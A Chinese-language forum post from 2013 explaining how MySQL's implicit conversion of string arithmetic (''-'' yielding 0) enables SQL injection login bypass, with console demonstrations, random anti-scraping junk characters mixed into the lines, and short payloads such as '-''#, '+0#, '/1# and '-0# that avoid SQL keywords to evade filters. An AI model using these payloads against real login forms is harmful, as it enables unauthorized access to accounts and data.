找回密码
 立即注册
查看: 2844|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。* B( ^7 n# J5 V- N3 ?+ v' b: L
有以下表结构: 8 r- {9 m/ v* {+ ]) s
" [9 K2 g4 [# \* }2 q" \( n
mysql> desc admin;
2 \% E, K' c7 Z, s) V+----------+--------------+------+-----+---------+----------------+
4 T' k/ T$ N1 x9 ~1 n* h| Field    | Type         | Null | Key | Default | Extra          |
& i: N. }# B& g2 m- G0 v5 f4 g8 s+----------+--------------+------+-----+---------+----------------+
0 ]( J/ R0 P& y0 J. z; K$ `| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |# U; U. f1 K2 N9 F5 [0 W  M
| name     | char(32)     | NO   | UNI | NULL    |                |: X! R+ j6 |' A& b) J& ]" [: p' G8 _
| password | char(32)     | NO   | UNI | NULL    |                |
- J+ R$ x' j  J6 x$ Q! `: p# W+----------+--------------+------+-----+---------+----------------+
+ T+ H# `; Z( k6 y- j( ~$ J! x3 @3 rows in set (0.00 sec)
' I/ @/ L3 C5 `执行select * from admin;,成功返回所有记录内容。! [' z6 u( c4 V  k) s, x; O3 G

! f( r7 L' {+ E9 x+ @- c! J. o% y* B: u* Q2 K, j  R. m9 y
+----+--------+----------------------------------+4 m: A  y! @* L3 g
| id | name   | password                         |
/ Z" E0 K  x  b+----+--------+----------------------------------+3 B  h1 g2 R6 |* N8 x% P
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |$ s% W+ O$ m. k, Z" n5 \
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |: X! M: R8 Z5 u% @# I9 i
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
4 `4 e+ [" U0 {! Z, q+ |9 F3 x+----+--------+----------------------------------+
6 T/ F9 d0 _2 n8 m; W' W3 rows in set (0.00 sec)
( c( H, Y( k' K- U5 |8 a2 W' S9 x执行select * from admin where name=”;,没有匹配到任何记录。 & `0 b- l7 U1 q8 Q/ ^+ w* j/ I

. l" e# }2 t* N- f# z6 emysql> select * from admin where name = '';
- K- D5 J  Q: |3 DEmpty set (0.00 sec)/ E& f; \* R$ J. a7 u
那么我们来执行select * from admin where name = ”-”;! i8 S0 y% U, i+ z( }: |5 R/ ^

" t* y" Z6 e  L* t
2 [! j, _; `: A) ^: k6 r. L0 {+----+--------+----------------------------------+, X; F& t7 v) |, u# a
| id | name   | password                         |
7 d/ t) {3 d5 ?2 r6 B  o$ w& u6 r+----+--------+----------------------------------+
2 U3 O! G* u; K2 U|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |, i$ Y* [0 A7 o; m3 l4 k
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
/ V0 U( ~. w2 T7 ~. z|  4 | n00b   | ff80e8508d39047460921792273533a4 |
# D5 g# k9 T0 I6 o: U$ }+----+--------+----------------------------------+
  l( v- }9 y( }! C: c  a& v3 rows in set, 3 warnings (0.00 sec), Y- Q3 Q# E6 m
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
; l5 Y5 w/ {' m1 o: H: g" n6 b- _2 r& @3 W
mysql> show warnings;
$ |: s3 D  c* }+ I+ e+---------+------+------------------------------------------7 i9 r# E+ f! Y! [, _% d
| Level   | Code | Message
% S  O% ?2 F' ^* |+---------+------+------------------------------------------
8 @7 {0 _3 e! i  O6 Y& d: ]: d| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
* R; l: Q. _. }' r| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
7 i, |- P1 ?2 x| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
0 ^' k. i8 y8 ~& a7 J* w3 v+---------+------+------------------------------------------
$ }$ z. h: s" p( v: Y" O6 U3 rows in set (0.00 sec)+ X/ X3 D# I) e
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 " \8 L4 E: w/ _  F7 V8 x

4 E* N0 L: Y7 z. gmysql> select ''-'';
% K3 m/ y( H! [1 w+-------+
  Y2 g' [9 e. o" t4 V$ P. {| ''-'' |
* E3 _- k$ d5 Z" H' d% g+-------+
: _( s6 P% G) X( ?: l+ \/ c6 l|     0 |/ v8 _" L0 x, w0 g8 C) v
+-------+! U8 l$ R" \, i4 a/ H" \$ s
1 row in set (0.00 sec)4 Z* }( A" E1 ?0 H: e: ]
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: & C1 M/ M) s; X/ Z# `
1 t. Y$ L' G) p- P' f4 }" {/ Y
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
2 L: H, |8 R* E+ Z+-----------------------------------------------------++ j6 L8 b% m' s# T* J1 ~- m
| CAST((select name from admin limit 1,1) as DECIMAL) |
5 w. p% m% H# w5 D/ V+-----------------------------------------------------+
0 ]! C, ^9 k3 t+ @|                                                   0 |
' o7 o2 L1 |! t  _" f  A9 C2 X! y+-----------------------------------------------------+9 v  K7 E) k! Q+ U" I. l; |9 J
1 row in set, 1 warning (0.00 sec)
: N' ], C5 Y8 W. @, x- u因此where语句构成了相等的条件,where 0=”=”,记录被返回。 9 D$ O+ j' u" c/ Q8 H) w
2 K4 q1 i) w5 P0 ~6 m/ M
SQL注入场景: http://www.sqlzoo.net/hack/
2 {4 j) O* C. `# H. L0 v2 ], y! K
, t& C3 y1 y! M9 Z& J  p; @3 n. ~1 E! l
/ {" G  Z5 `: k

& q/ X7 X/ L% T6 E( ~如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
* u8 y% Z1 o/ S: z; Q  f  T7 {
8 `" `. j$ U5 d7 R那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
9 a5 o2 q# ^+ n- W
+ U7 c% x! E; L8 S' A" Z+ [' b1 }: X3 q' K8 g4 [/ F
* X$ O9 U, a1 m: q4 G# T+ }

+ x- y5 ~  p3 |仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 : y+ O* `& u% I& w- v, [  G0 }- M
+ K1 A5 n+ P! a+ y
   0 m( \& p+ i7 K* @& E
2 E. p5 ]: S6 U: d2 e9 \; t  E
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
) N- H+ b& X) p8 I
5 ~1 @/ Z$ T4 l# U9 T8 S' m
9 d; o/ |6 t: x% xmysql> select ''/1;+ C+ o* b( R$ [4 r5 d  X3 @; e
+------+
+ g) n6 F) v. ?# H| ''/1 |
0 r  X( V. Q0 n& Z' V% L8 v+------+
' W' E; ]4 F. p# ?$ T|    0 |$ _5 u% S1 T( R# a; E
+------+
4 I. f  l/ n# c2 h# h6 `, v! g# @0 D9 m1 row in set (0.00 sec)
# Q1 k8 l( i( K( r$ t类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  ; F( v% t! x- Z' K9 c2 P

2 A% e) I9 ?4 H5 N* ~利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
$ v2 d- m+ B4 e1 M0 t+ [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表